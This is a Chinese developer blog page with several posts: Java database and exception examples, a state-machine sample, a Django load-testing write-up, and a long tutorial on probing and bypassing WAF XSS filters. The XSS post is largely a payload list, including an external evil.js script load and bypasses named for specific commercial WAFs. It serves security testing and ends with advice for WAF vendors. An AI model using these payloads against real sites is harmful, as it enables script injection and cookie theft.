qileilove

blog已经转移至github,大家请访问 http://qaseven.github.io/

封装数据库操作

 今天在一本书上面看到了一个封装数据库操作的辅助类,封装了获得数据库的连接、关闭数据库的连接、执行SQLINSERT/UPDATE/DELETE/SELECT 语句的方法。
  代码如下:
/**
*
*/
package com.sotaof.struts.db.utils;
import java.sql.Connection;
import java.sql.PreparedStatement;
import java.sql.ResultSet;
import java.sql.ResultSetMetaData;
import java.sql.SQLException;
import java.sql.Statement;
import java.text.DateFormat;
import java.util.ArrayList;
import java.util.Date;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import java.util.logging.Logger;
import javax.naming.InitialContext;
import javax.sql.DataSource;
/**
* @Title: DbUtils.java
* @Package com.sotaof.struts.db.utils
* @Description: TODO
* @author A18ccms A18ccms_gmail_com
* @date 2013-2-4 下午06:30:36
* @version V1.0
*/
public class DbUtils {
private static Logger logger = Logger.getLogger("DbUtils");
public static int execute(String sql, List<Object> paramList) throws Exception
{
if(sql == null || sql.trim().equals(""))
{
logger.info("parameter is valid!");
}
Connection conn = null;
PreparedStatement pstmt = null;
int result = 0;
try
{
conn = DbUtils.getConnection();
pstmt = DbUtils.getPreparedStatement(conn, sql);
setPreparedStatementParam(pstmt, paramList);
if(pstmt == null)
{
return -1;
}
result = pstmt.executeUpdate();
}
catch(Exception e)
{
logger.info(e.getMessage());
throw new Exception(e);
}
finally
{
closeStatement(pstmt);
closeConn(conn);
}
return result;
}
public static Connection getConnection() throws Exception
{
InitialContext cxt = new InitialContext();
if(cxt == null)
{
throw new Exception("no context!");
}
DataSource ds = (DataSource) cxt.lookup("java:/comp/env/jdbc/orcl");
if(ds == null)
{
throw new Exception("Data source not found!");
}
return ds.getConnection();
}
public static PreparedStatement getPreparedStatement(Connection conn, String sql) throws Exception
{
if(conn == null || sql == null || sql.trim().equals(""))
{
return null;
}
PreparedStatement pstmt = conn.prepareStatement(sql.trim());
return pstmt;
}
public static void setPreparedStatementParam(PreparedStatement pstmt, List<Object> paramList) throws Exception
{
if(pstmt == null || paramList == null || paramList.isEmpty())
{
return;
}
DateFormat df = DateFormat.getDateTimeInstance();
for(int i = 0; i < paramList.size(); i++)
{
if(paramList.get(i) instanceof Integer)
{
int paramValue = ((Integer) paramList.get(i)).intValue();
pstmt.setInt(i + 1, paramValue);
}
else if(paramList.get(i) instanceof Float)
{
float paramValue = ((Float) paramList.get(i)).floatValue();
pstmt.setFloat(i + 1, paramValue);
}
else if(paramList.get(i) instanceof Double)
{
double paramValue = ((Double) paramList.get(i)).doubleValue();
pstmt.setDouble(i + 1, paramValue);
}
else if(paramList.get(i) instanceof Date)
{
pstmt.setString(i + 1, df.format((Date)paramList.get(i)));
}
else if(paramList.get(i) instanceof Long)
{
long paramValue = ((Long)paramList.get(i)).longValue();
pstmt.setLong(i + 1, paramValue);
}
else if(paramList.get(i) instanceof String)
{
pstmt.setString(i + 1, (String)paramList.get(i));
}
}
return;
}
private static void closeConn(Connection conn)
{
if(conn == null)
{
return;
}
try
{
conn.close();
}
catch(SQLException e)
{
logger.info(e.getMessage());
}
}
private static void closeStatement(Statement stmt)
{
if(stmt == null)
{
return;
}
try
{
stmt.close();
}
catch(SQLException e)
{
logger.info(e.getMessage());
}
}
private static void closeResultSet(ResultSet rs)
{
if(rs == null)
{
return;
}
try
{
rs.close();
}
catch(SQLException e)
{
logger.info(e.getMessage());
}
}
private static ResultSet getResultSet(PreparedStatement pstmt) throws Exception
{
if(pstmt == null)
{
return null;
}
ResultSet rs = pstmt.executeQuery();
return rs;
}
public static List<Map<String,String>> getQueryList(String sql, List<Object> paramList) throws Exception
{
if(sql == null || sql.trim().equals(""))
{
logger.info("parameter is valid!");
return null;
}
Connection conn = null;
PreparedStatement pstmt = null;
ResultSet rs = null;
List<Map<String,String>> queryList = null;
try
{
conn = DbUtils.getConnection();
pstmt = DbUtils.getPreparedStatement(conn, sql);
setPreparedStatementParam(pstmt, paramList);
if(pstmt == null)
{
return null;
}
rs = DbUtils.getResultSet(pstmt);
queryList = DbUtils.getQueryList(rs);
}
catch(Exception e)
{
logger.info(e.getMessage());
throw new Exception();
}
finally
{
closeResultSet(rs);
closeStatement(pstmt);
closeConn(conn);
}
return queryList;
}
private static List<Map<String,String>> getQueryList(ResultSet rs) throws Exception
{
if(rs == null)
{
return null;
}
ResultSetMetaData rsMetaData = rs.getMetaData();
int columnCount = rsMetaData.getColumnCount();
List<Map<String,String>> dataList = new ArrayList<Map<String,String>>();
while(rs.next())
{
Map<String,String> dataMap = new HashMap<String,String>();
for(int i = 0; i < columnCount; i++)
{
dataMap.put(rsMetaData.getColumnName(i+1), rs.getString(i+1));
}
dataList.add(dataMap);
}
return dataList;
}
}
  不过我认为这种方法虽然封装性比较好,也比较好管理,但是当出现异常时,对于错误的查找非常的麻烦,所以我个人很少使用这样的方法,不过如果这样的数据库麻烦,那么就用Hibernate框架吧(如果你的数据库够强大的话)。

posted @ 2014-07-02 16:39 顺其自然EVO 阅读(192) | 评论 (0)编辑 收藏

Java异常发生时程序的执行顺序

 一些基础知识:
  1.try代码段包含可能产生例外的代码;
  2.try代码段后跟有一个或多个代码段;
  3.每个catch代码段声明其能处理的一种特定的异常并提供处理的方法;
  4.当异常发生时,程序会终止当前的流程,根据获取异常的类型去执行相应的catch代码段,有多个符合条件的catch时,只执行第一个;
  5.finally段的代码无论是否发生异常都会执行。
  6.在一个try语句块中,基类异常的捕获语句不可以写在子类异常捕获语句的上面。
  看一个例子:
/**
* @author Lansine
*
*/
public class T1 {
/**
* @param args
*/
public static void main(String[] args) {
String s = "1";
try {
s = "2";
System.out.println(s);
if (s == "2")
throw new Exception("h");
} catch (Exception e) {
s = "3";
System.out.println(s);
} finally {
s = "4";
System.out.println(s);
}
s = "5";
System.out.println(s);
}
}
  输出的结果是2,3,4,5    (这里的逗号只用于显示)。上述语句非常清楚,但是在上述结构中加上return,就变得有些复杂了,如
/**
* @author Lansine
*
*/
public class T2 {
/**
* @param args
*/
public static void main(String[] args) {
String s = "1";
try {
s = "2";
System.out.println(s);
return;
} catch (Exception e) {
s = "3";
System.out.println(s);
} finally {
s = "4";
System.out.println(s);
}
s = "5";
System.out.println(s);
}
}
输出的结果是2,4也就是说在try结构中,虽然使用了return语句强制函数返回,不再往下执行,但实现上finally中的还是执行了。但除了finally外的其它语句不再被执行。
  一个更流行的例子是:
import java.io.*;
/**
* @author Lansine
*
*/
public class Mine {
public static void main(String argv[]){
Mine m = new Mine();
try {
System.out.println(m.amethod());
} catch (Exception e) {
// TODO 自动生成 catch 块
//e.printStackTrace();
System.out.println("我知道了");
}
System.out.println("finished");
}
public int amethod()throws Exception {
try {
FileInputStream dis = new FileInputStream("Hello.txt"); // 1,抛出异常
System.out.println("异常发生之后");
} catch (Exception ex) {
System.out.println("No such file found"); // 2.catch捕捉异常,并执行
//throw new Exception("上面处理");
return -1; // 4,return 返回
} finally {
System.out.println("Doing finally"); // 3.finally一定会执行,在return之前。
}
System.out.println("在代码后面");
return 0;
}
}
  结果是:
  No such file found
  Doing finally
  -1
  finished
  如果在catch块中抛出异常,则结果为:
  No such file found
  Doing finally
  我知道了
  finished
  注意:如果异常往上抛直到main函数还没有被catch处理的话,程序将被异常终止。

posted @ 2014-07-02 16:38 顺其自然EVO 阅读(338) | 评论 (0)编辑 收藏

一个Java状态机样例的代码

 在UML当中有状态机视图,这个状态机可以用于自动售货机,自动售票机等等场景,下面是用java代码模拟的一个状态机:
  1.状态机接口
package stateMachine;
/**
* 状态机接口
* @author seacean
* @date 2013-8-29
*/
public interface State {
/**
* 投入硬币
*/
void insertQuarter();
/**
* 根据摇动情况,处理摇动结果,返回处理结果,释放糖果
*/
void ejectQuarter();
/**
* 转动摇柄
*/
void turnCrank();
/**
* 机器放出糖果,处理机器内部状态,返回初始可投币状态
*/
void dispense();
}
 2.带有状态机的机器
package stateMachine;
/**
* 机器类,包含多种状态,处理流程
* @author seacean
* @date 2013-8-29
*/
public class Machine {
//机器本身包含所有的状态机
private State soldOutState;
private State noQuarterState;
private State hasQuarterState;
private State soldState;
private State state; //机器的当前状态
private int count = 0;//机器中当前糖果的数量
/**
* 初始化机器,引入所有的状态机,初始化糖果数量,初始化机器状态
* @param count
*/
public Machine(int count) {
this.soldOutState = new SoldOutState(this);
this.noQuarterState = new NoQuarterState(this);
this.hasQuarterState = new HasQuarterState(this);
this.soldState = new SoldState(this);
this.count = count;
if (this.count > 0) {
this.state = noQuarterState;
}
}
/**
* 释放糖果时的内部处理程序
*/
public void releaseBall() {
System.out.println("a gumball comes rolling out the solt...");
if (count > 0) {
count -= 1;
}
}
public void insertQuerter() {
state.insertQuarter();//加入硬币
}
public void ejectQuarter() {
state.ejectQuarter();
}
public void turnCrank() {
state.turnCrank();
state.dispense();
}
public State getSoldOutState() {
return soldOutState;
}
public State getNoQuarterState() {
return noQuarterState;
}
public State getHasQuarterState() {
return hasQuarterState;
}
public State getSoldState() {
return soldState;
}
public State getState() {
return state;
}
public int getCount() {
return count;
}
public void setState(State state) {
this.state = state;
}
}
  3.下面是状态机的一些实现类
package stateMachine;
/**
* 机器处于没有投硬币的状态
* @author seacean
* @date 2013-8-29
*/
public class NoQuarterState implements State {
private Machine machine;
public NoQuarterState(Machine machine) {
this.machine = machine;
}
@Override
public void insertQuarter() {
System.out.println("please insert a quarter!");
machine.setState(machine.getHasQuarterState());
}
@Override
public void ejectQuarter() {
System.out.println("please insert a quarter!");
}
@Override
public void turnCrank() {
System.out.println("please insert a quarter!");
}
@Override
public void dispense() {
System.out.println("please insert a quarter!");
}
}
package stateMachine;
/**
* 机器处于有硬币,有糖果,没有摇动的状态
* @author seacean
* @date 2013-8-29
*/
public class HasQuarterState implements State {
private Machine machine;
public HasQuarterState(Machine machine){
this.machine=machine;
}
@Override
public void insertQuarter() {
System.out.println("You can not insert another quarter!");
}
@Override
public void ejectQuarter() {
System.out.println("Quarter returned!");
machine.setState(machine.getNoQuarterState());
}
@Override
public void turnCrank() {
System.out.println("You turned ... ");
machine.setState(machine.getSoldState());
}
@Override
public void dispense() {
System.out.println("No gumball dispensed!");
}
}
package stateMachine;
/**
* 机器正在出售糖果的状态
*
* @author seacean
* @date 2013-8-29
*/
public class SoldState implements State {
private Machine machine;
public SoldState(Machine machine) {
this.machine = machine;
}
@Override
public void insertQuarter() {
System.out.println("please wait,we are already giving you a gumball!");
}
@Override
public void ejectQuarter() {
System.out.println("Sorry, you have turned the crank!");
}
@Override
public void turnCrank() {
System.out.println("Turning twice does not get you another gumball!");
}
@Override
public void dispense() {
machine.releaseBall();
if (machine.getCount() > 0) {
machine.setState(machine.getNoQuarterState());
} else {
System.out.println("Out of Gumballs!");
machine.setState(machine.getSoldOutState());
}
}
}
package stateMachine;
/**
* 机器处于无糖果状态
* @author seacean
* @date 2013-8-29
*/
public class SoldOutState implements State {
private Machine machine;
public SoldOutState(Machine machine) {
this.machine=machine;
}
@Override
public void insertQuarter() {
System.out.println("Sorry, there is no gumball in the machine!");
}
@Override
public void ejectQuarter() {
System.out.println("Sorry, there is no gumball in sold!");
}
@Override
public void turnCrank() {
System.out.println("Sorry, there is no gumball!Turn is no meaning.");
machine.setState(machine.getNoQuarterState());
}
@Override
public void dispense() {
System.out.println("Sorry, there is no gumball!");
}
}
4.下面是测试类
package stateMachine;
//测试类
public class StateMachineTest {
public static void main(String[] args) {
Machine machine=new Machine(10);
for(int i=0;i<11;i++){
System.out.println(machine);
machine.insertQuerter();
machine.turnCrank();
}
}
}

posted @ 2014-07-02 16:37 顺其自然EVO 阅读(295) | 评论 (0)编辑 收藏

XSS现代WAF规则探测及绕过技术

 初始测试
  1、使用无害的payload,类似<b>,<i>,<u>观察响应,判断应用程序是否被HTML编码,是否标签被过滤,是否过滤<>等等;
  2、如果过滤闭合标签,尝试无闭合标签的payload(<b,<i,<marquee)观察响应;
  3、尝试以下的payload
  <script>alert(1);</script>
  <script>prompt(1);</script>
  <script>confirm      (1);</script>
  <script src="http://rhainfosec.com/evil.js">
  判断是否触发过滤规则,尝试使用大小写混合字符
  <scRiPt>alert(1);</scrIPt>
  1、如果大小写不行的话,<script>被过滤尝试<scr<script>ipt>alert(1)</scr<script>ipt>;
  2、使用<a>标签测试
  <a  href=“http://www.google.com">Clickme</a>
  <a被过滤?
  href被过滤?
  其他内容被过滤?
  如果没有过滤尝试使用<a href=”javascript:alert(1)”>Clickme</a>
  尝试使用错误的事件查看过滤<a href=”rhainfosec.com” onclimbatree=alert(1)>ClickHere</a>
  HTML5拥有150个事件处理函数,可以多尝试其他函数<body/onhashchange=alert(1)><a href=#>clickit
  测试其他标签
  src属性
<img src=x      onerror=prompt(1);>
<img/src=aaa.jpg      onerror=prompt(1);
<video src=x      onerror=prompt(1);>
<audio src=x      onerror=prompt(1);>
iframe
<iframesrc="javascript:alert(2)">
<iframe/src="data:text&sol;html;&Tab;base64&NewLine;,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg==">
Embed
<embed/src=//goo.gl/nlX0P>
Action
<form action="Javascript:alert(1)"><input type=submit>
<isindex action="javascript:alert(1)" type=image>
<isindex action=j&Tab;a&Tab;vas&Tab;c&Tab;r&Tab;ipt:alert(1) type=image>
<isindex action=data:text/html, type=image>
mario验证
<formaction='data:text&sol;html,&lt;script&gt;alert(1)&lt/script&gt'><button>CLICK
“formaction”属性
<isindexformaction="javascript:alert(1)"      type=image>
<input type="image" formaction=JaVaScript:alert(0)>
<form><button formaction=javascript&colon;alert(1)>CLICKME
“background”属性
<table background=javascript:alert(1)></table> // Works on Opera 10.5      and IE6
“posters” 属性
<video poster=javascript:alert(1)//></video> // Works Upto Opera 10.5
“data”属性
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
<object/data=//goo.gl/nlX0P?
“code”属性
<applet code="javascript:confirm(document.cookie);"> // Firefox Only
<embed  code="http://businessinfo.co.uk/labs/xss/xss.swf"      allowscriptaccess=always>
 事件处理
<svg/onload=prompt(1);>
<marquee/onstart=confirm(2)>/
<bodyonload=prompt(1);>
<selectautofocusonfocus=alert(1)>
<textareaautofocusonfocus=alert(1)>
<keygenautofocusonfocus=alert(1)>
<video><sourceonerror="javascript:alert(1)">
短payload
<q/oncut=open()>
<q/oncut=alert(1)>//Usefulin-caseofpayloadrestrictions.
  嵌套欺骗
  <marquee<marquee/onstart=confirm(2)>/onstart=confirm(1)>
  <body  language=vbsonload=alert-1 // Works with IE8
  <command onmouseover="\x6A\x61\x76\x61\x53\x43\x52\x49\x50\x54\x26\x63\x6F\x6C\x6F\x6E\x3B\x63\x6F\x6E\x66\x6    9\x72\x6D\x26\x6C\x70\x61\x72\x3B\x31\x26\x72\x70\x61\x72\x3B">Save</command>      // Works with IE8
  圆括号被过滤
<a onmouseover="javascript:window.onerror=alert;throw 1>
<img src=x onerror="javascript:window.onerror=alert;throw 1">
<body/onload=javascript:window.onerror=eval;throw'=alert\x281\x29';
Expression 属性
<img style="xss:expression(alert(0))"> // Works upto IE7.
<div style="color:rgb(''x:expression(alert(1))"></div>      // Works upto IE7.
<style>#test{x:expression(alert(/XSS/))}</style>      // Works upto IE7
“location”属性
<a onmouseover=location=’javascript:alert(1)>click
<body onfocus="location='javascrpt:alert(1) >123
  其他Payload
<meta http-equiv="refresh"      content="0;url=//goo.gl/nlX0P">
<meta http-equiv="refresh"      content="0;javascript&colon;alert(1)"/>
<svg xmlns="http://www.w3.org/2000/svg"><g      onload="javascript:\u0061lert(1);"></g></svg> //      By @secalert
<svg xmlns:xlink=" r=100 /><animate attributeName="xlink:href"      values=";javascript:alert(1)" begin="0s"      dur="0.1s" fill="freeze"/> // By Mario
<svg><![CDATA[><imagexlink:href="]]><img/src=xx:xonerror=alert(2)//"</svg>      // By @secalert
<meta content="&NewLine; 1 &NewLine;;JAVASCRIPT&colon; alert(1)" http-equiv="refresh"/>
<math><a xlink:href="//jsfiddle.net/t846h/">click // By Ashar Javed
();:被过滤
<svg><script>alert(/1/)</script>      // Works With All Browsers
( is html encoded to (
) is html encoded to )
  Opera的变量
  <svg><script>alert(      1) // Works with Opera Only
  实体解码
  &lt;/script&gt;&lt;script&gt;alert(1)&lt;/script&gt;
  <a  href="j&#x26#x41;vascript:alert%252831337%2529">Hello</a>
  编码
  JavaScript是很灵活的语言,可以使用十六进制、Unicode、HTML等进行编码,以下属性可以被编码(支持HTML, Octal, Decimal,Hexadecimal, and Unicode)
href=
action=
formaction=
location=
on*=
name=
background=
poster=
src=
code=
data= //只支持base64
  基于上下文的过滤
  WAF最大的问题是不能理解内容,使用黑名单可以阻挡独立的js脚本,但仍不能对xss提供足够的保护,如果一个反射型的XSS是下面这种形式输入反射属性
  <input value="XSStest" type=text>
  我们可以使用 “><imgsrc=x  onerror=prompt(0);>触发,但是如果<>被过滤,我们仍然可以使用“ autofocusonfocus=alert(1)//触发,基本是使用“ 关闭value属性,再加入我们的执行脚本
  " onmouseover="prompt(0) x="
  " onfocusin=alert(1)     autofocus x="
  " onfocusout=alert(1)     autofocus x="
  " onblur=alert(1) autofocus     a="
  输入反射在<script>标签内
  类似这种情况:
  <script>
  Var
  x=”Input”;
  </script>
  通常,我们使用“></script>,闭合前面的</script>标签,然而在这种情况,我们也可以直接输入执行脚本alert(), prompt()
  confirm() ,例如:
  “;alert(1)//
  非常规事件监听
  DOMfocusin,DOMfocusout,等事件,这些需要特定的事件监听适当的执行。例如:
  ";document.body.addEventListener("DOMActivate",alert(1))//
  ";document.body.addEventListener("DOMActivate",prompt(1))//
  ";document.body.addEventListener("DOMActivate",confirm(1))//
  此类事件的列表
DOMAttrModified
DOMCharacterDataModified
DOMFocusIn
DOMFocusOut
DOMMouseScroll
DOMNodeInserted
DOMNodeInsertedIntoDocument
DOMNodeRemoved
DOMNodeRemovedFromDocument
DOMSubtreeModified
  超文本内容
  代码中的情况如下
  <a
  href=”Userinput”>Click</a>
  可以使用javascript:alert(1)//直接执行<a
  href=”javascript:alert(1)//”>Click</a>
  变形
  主要包含大小写和
  JavaScript变形
  javascript:alert(1)
  javaSCRIPT&colon;alert(1)
  JaVaScRipT:alert(1)
  javas&Tab;cript:\u0061lert(1);
  javascript:\u0061lert(1)
  javascript:alert&lpar;document&period;cookie&rpar;      // AsharJaved
  IE10以下和URI中可以使用VBScript
  vbscript:alert(1);
  vbscript:alert(1);
  vbscr&Tab;ipt:alert(1)"
  Data URl
  data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==
  JSON内容
  反射输入
  encodeURIComponent('userinput')
  可以使用
  -alert(1)-
  -prompt(1)-
  -confirm(1)-
  结果
  encodeURIComponent(''-alert(1)-'')
  encodeURIComponent(''-prompt(1)-'')
  输入反射在svg标签内
  源码如下:
  <svg><script>varmyvar=”YourInput”;</script></svg>
  可以输入
  www.site.com/test.php?var=text”;alert(1)//
  如果系统编码了”字符
  <svg><script>varmyvar="text&quot;;alert(1)//";</script></svg>
  原因是引入了附加的(XML)到HTML内容里,可以使用2次编码处理
  浏览器BUG
  字符集BUG
  字符集BUG在IE中很普遍,最早的bug是UTF-7。如果能控制字符集编码,我们可以绕过99% 的WAF过滤。
  示例
  http://xsst.sinaapp.com/utf-32-1.php?charset=utf-8&v=XSS
  可以控制编码,提交
  http://xsst.sinaapp.com/utf-32-1.php?charset=utf-8&v=”><img
  src=x onerror=prompt(0);>
  可以修改为UTF-32编码形式
  ???script?alert(1)?/script?
  http://xsst.sinaapp.com/utf-32-1.php?charset=utf-32&v=%E2%88%80%E3%B8%80%E3%B0%80script%E3%B8%80alert(1)%E3%B0%80/script%E3%B8%80
  空字节
  最长用来绕过mod_security防火墙,形式如下:
  <scri%00pt>alert(1);</scri%00pt>
  <scri\x00pt>alert(1);</scri%00pt>
  <s%00c%00r%00%00ip%00t>confirm(0);</s%00c%00r%00%00ip%00t>
  空字节只适用于PHP 5.3.8以上的版本
  语法BUG
  RFC声明中节点名称不能是空格,以下的形式在javascript中不能运行
  <script>alert(1);</script>
  <%0ascript>alert(1);</script>
  <%0bscript>alert(1);</script>
  <%, <//, <!,<?可以被解析成<,所以可以使用以下的payload
  <//     style=x:expression\28write(1)\29> // Works upto IE7
  参考http://html5sec.org/#71
  <!--[if]><script>alert(1)</script     --> // Works upto IE9
  参考http://html5sec.org/#115
  <?xml-stylesheet     type="text/css"?><root     style="x:expression(write(1))"/> // Works in IE7
  参考 http://html5sec.org/#77
  <%div%20style=xss:expression(prompt(1))>     // Works Upto IE7
  Unicode分隔符
  [on\w+\s*]这个规则过滤了所有on事件,为了验证每个浏览器中有效的分隔符,可以使用fuzzing方法测试0×00到0xff,结果如下:
  IExplorer=     [0x09,0x0B,0x0C,0x20,0x3B]
  Chrome =     [0x09,0x20,0x28,0x2C,0x3B]
  Safari = [0x2C,0x3B]
  FireFox=     [0x09,0x20,0x28,0x2C,0x3B]
  Opera = [0x09,0x20,0x2C,0x3B]
  Android =     [0x09,0x20,0x28,0x2C,0x3B]
  x0b在Mod_security中已经被过滤,绕过的方法:
  <a/onmouseover[\x0b]=location='\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3A\x61\x6C\x65\x72\x74\x28\x30\x29\x3B'>rhainfosec
  缺少X-frame选项
  通常会认为X-frame是用来防护点击劫持的配置,其实也可以防护使用iframe引用的xss漏洞
  Docmodes
  IE引入了doc-mode很长时间,提供给老版本浏览器的后端兼容性,有风险,攻击情景是黑客可以引用你站点的框架,他可以引入doc-mode执行css表达式
  expression(open(alert(1)))
  以下POC可以插入到IE7中
  <html>
  <body>
  <meta http-equiv="X-UA-Compatible" content="IE=EmulateIE7" />
  <iframesrc="https://targetwebsite.com">
  </body>
  </html>
 Window.name欺骗
  情景:我们用iframe加载一个页面,我们可以控制窗口的名称,这里也可以执行javascript代码
  POC
  <iframesrc='http://www.target.com?foo="xss  autofocus/AAAAA  onfocus=location=window.name//'
  name="javascript:alert("XSS")"></iframe>
  DOM型XSS
  服务器不支持过滤DOM型的XSS,因为DOM型XSS总是在客户端执行,看一个例子:
  <script>
  vari=location.hash;
  document.write(i);
  </script>
  在一些情况下,反射型XSS可以转换成DOM型XSS:
  http://www.target.com/xss.php?foo=<svg/onload=location=/java/.source+/script/.source+location.hash[1]+/al/.source+/ert/.source+location.hash[2]+/docu/.source+/ment.domain/.source+location.hash[3]//#:()
  上面的POC只在[.+都被允许的情况下适用,可以使用location.hash注入任何不允许的编码
  Location.hash[1] = :  // Defined at the first position after     the hash.
  Location.hash[2]= (  // Defined at the second position after     the has
  Location.hash[3] = ) // Defined     at third position after the hash.
  如果有客户端过滤可能不适用
  绕过
  ModSecurity绕过
  <scri%00pt>confirm(0);</scri%00pt>
  <a/onmouseover[\x0b]=location='\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3A\x61\x6C\x65\x72\x74\x28\x30\x29\x3B'>rhainfosec
  参考http://blog.spiderlabs.com/2013/09/modsecurity-xss-evasion-challenge-results.html
  WEB KNIGHT绕过
  <isindex action=j&Tab;a&Tab;vas&Tab;c&Tab;r&Tab;ipt:alert(1) type=image>
  <marquee/onstart=confirm(2)>
  F5 BIG IP ASM and Palo ALTO绕过
  <table background="javascript:alert(1)"></table> //IE6或者低版本Opera
  “/><marquee  onfinish=confirm(123)>a</marquee>
  Dot Defender绕过
  <svg/onload=prompt(1);>
  <isindex action="javas&tab;cript:alert(1)" type=image>
  <marquee/onstart=confirm(2)>
  结论
  黑名单方式永远不是最好的解决办法,但是相对与白名单效率很高,对于WAF供应商来说,最好的实践如下:
  1、开发者和管理员要注意WAF只能缓解攻击,并且针对已知的弱点的防护只是和源代码修复的方法打个时间差;
  2、要保持WAF的规则库更新;
  3、WAF可以配置参数限制,需要提供手册用于配置参数content-length最大最小长度,content-type类型,在入侵时进行告警;
  4、如果WAF依据黑名单,要确保可以阻断已知的浏览器BUG,并且相应规则库要及时更新。

posted @ 2014-07-02 16:35 顺其自然EVO 阅读(2117) | 评论 (0)编辑 收藏

Django性能测试—一个现实世界的例子

 大约一个星期前,安德鲁 和 我 启动 一个新的 Django 打造的网站,站名叫 Hey!Wall 。这是一个按照社交网络中的“墙”的概念建立的社交网站,它为各类朋友提供了一个留言及分享照片、视频和链接的空间。
  我们想对其进行性能评估,并进行一些服务器配置和代码修改来决定采取何种步骤进行改进。我们使用 httperf 进行了测试,并通过优化将其性能提高了整整一倍。
  服务器和客户端
  服务器一是一台 Slicehost 提供的 Xen VPS ,配有 256MB 内存,运行的是 Debian Etch 系统。部署在美国中西部。
  为了测试,采用了一台位于英国的 Xtraordinary Hosting 提供的 Xen VPS,作为客户端。通常我们使用的 ADSL 访问互联网络,但这让我们很难向服务器发起足够多的访问请求。使用连接良好的 VPS 作为客户端使我们可以真正地对服务器加以考验。
  服务器规格说明
  很难确切地描述服务器的规格。该 VPS 配有 256MB 内存,与数个类似的 VPS 同居一台主机(大概是一台 装有 16GB 内存的 Quad Core 服务器)之上。假定装满了 256MB 切片的话,物理服务器上最多装有 64 台 VPS 。如果四个处理器都是 2.4GHz,那么共 9.6 GHz ,除以 64 得到最少 150MHz 的 CPU 。
  在 Xen VPS 上,无需竞争你就可以获得稳定的内存和 CPU 分配,但通常 主机上任何空闲的 CPU 都将得到使用。如果在同一机器上的其它 VPS 处于空闲状态,你的 VPS 将能够使用更多的 CPU 。这也许意味着在测试期间使用了更多的 CPU ,即某些测试可能比其它的使用了更多的 CPU 资源。
  使用 httperf 评估性能
  现有各式各样的网络性能测试工具,主要包括 ab (来自 Apache), Flood 和 httperf。我们使用 httperf 并没有任何特别理由。
  httperf 命令看起来如下所示:
  httperf --hog --server=example.com --uri=/ --timeout=10 --num-conns=200 --rate=5
  在该例中,我们向 http://example.com/ 发起了 200 次访问请求,每秒最多 5 次。
  测试计划
  某些工具支持进程,可以模仿用户对网站提交任务。我们使用了一种简单的“暴力”测试来了解该站点每秒能够处理多少请求。
  该基本方法是发起一定数量的请求,能够判断服务器如何反应:状态 200 为成功,状态 500 为失败。提高频率(每秒制造的请求数量)然后再试一遍。如果开始返回大量的  500 ,则已经达到极限。
  监测服务器资源
  另一个方面是要掌握服务器在内存和 CPU 使用方面的情况。要跟踪这一情况,我们运行 top 并将输出记录为日志文件以供稍后查阅。该 top 命令如下所示:
  top -b -d 3 -U www-data > top.txt
  在该例中,我们以用户 www-data 每三秒记录一次进程的日志信息。如果你想更加明确的指定目标,可以使用 -p 1, 2, 3 ,而不是 -U username ,其中 1、2 和 3 是 pid(即要观测进程的进程ID)。
  网页服务器为配有以 FastCGI processes 方式运行的 Python 2.5 的 Lighttpd 。尽管数据库的日志也是很有用的信息,但我们没有记录该进程(PostgreSQL)的日志。
  另一个有用的工具是 vmstat,特别是 swap 列显示了有多少内存进行了交换。交换的意思是你没有足够的内存,它是一种性能杀手。要想反复运行 vmstat 的话,必须指定每次检查间隔的秒数。如:
  vmstat 2
  使用 httperf 进行已认证访问
  httperf 只是简单地向某个 URL 发出简单的 GET 请求,并下载  html  文本(但不包括任何媒体文件)。对公共/匿名(public/anonymous)网页发起的访问请求是件轻松的事情,但如果要访问需要登录的页面怎么办呢?
  httperf 可以传递请求头部信息。Django 身份校验( authentication)(由 django.contrib.auth 提供)使用的进程依赖于在客户端 cookie 中所保存的进程  id 。而客户端在请求的头部信息中传递 cookie 。你可以看到这一切是如何进行的。
  登录站点,查看 cookies 信息。其中应该有个类似 sessionid=97d674a05b2614e98411553b28f909de 的数值。要通过 httperf 传递该 cookie,可以使用 --add-header 参数选项。如:
  httperf ... --add-header='Cookie: sessionid=97d674a05b2614e98411553b28f909den'
  小心头部信息之后的 n 。如果少了该字符,你的每个请求可能都会返回超时信息。
 测试哪个页面?
  考虑到这一点,我们测试了网站的两个网页:
  主页: 对主页的匿名访问
  “墙”: 对某个“墙”已认证访问,该网页包括从数据库获取的内容
  事实静态与高度动态
  对于匿名用户来说,主页基本上是静态的,它只是简单的渲染某个模板而无需数据库的任何数据。
  “墙”页面则非常动态,包括了从数据库获取的主要数据。该模板在被渲染时,针对不同时区用户的日期设置“删除”了指向某些物件的链接,等等。某些“墙”包含了大约50个物件,在被优化前,大约要发起 80 条数据库查询。
  第一次测试时,我们运行了两个可以从 Django 接受请求 FastCGI 后端。
  Home: 175 req/s (即每秒请求数量)Wall: 8 req/s.
  经压缩的内容
  第一个配置优化是使用 GZipMiddleware 激活输出的 gzip  压缩。性能轻微提高,没有大的变化。但无论如何为了节约带宽,这么做还是值得的。
  Home: 200 req/s.
  Wall: 8 req/s.
  更多进程,更短的队列
  然后,我们将 FastCGI 后端的数量从 2 个提升到 5 个。这项改进减少了 500 响应的数量,因为更多的请求可以由额外的后端来处理。
  Home: 200 req/s.
  Wall: 11 req/s.
  更多的进程,更多的问题
  从 2 到 5 的改进非常不错,因此我们决定将  FastCGI 后端数量提升到 10 。性能却显著地 下降 了。
  经查看服务器上的 vmstat ,可以看到原因是出现了内存交换。太多的进程,每个都为 Python 使用了内存,导致 VPS 内存耗尽,从而不得不从硬盘往返交换内存。
  Home: 150 req/s.
  Wall: 7 req/s.
  基于此,我们将 FastCGI 后端数量降回 5 以进行更多测试。
  分析——时间耗到哪里去了
  “墙”页面的性能令人失望,因此我们开始进行优化。我们所做第一件事情是分析代码以确定时间都被花费在何处。
  使用一些简单的 分析中间件 之后,很清楚地发现时间被消耗在数据库查询之上。“墙”页面包括许多查询,且数量与其所包含的物件数量呈正比。测试墙页面上引发了大约 80 个查询。毫无疑问其性能是糟糕的。
  进行优化
  通过优化物件附加媒体的处理方式,我们直接给每个物件剔除了一次查询。该措施稍微地减少了请求所需时间,因此也提高了每秒可处理的查询数量。
  Wall: 12 req/s.
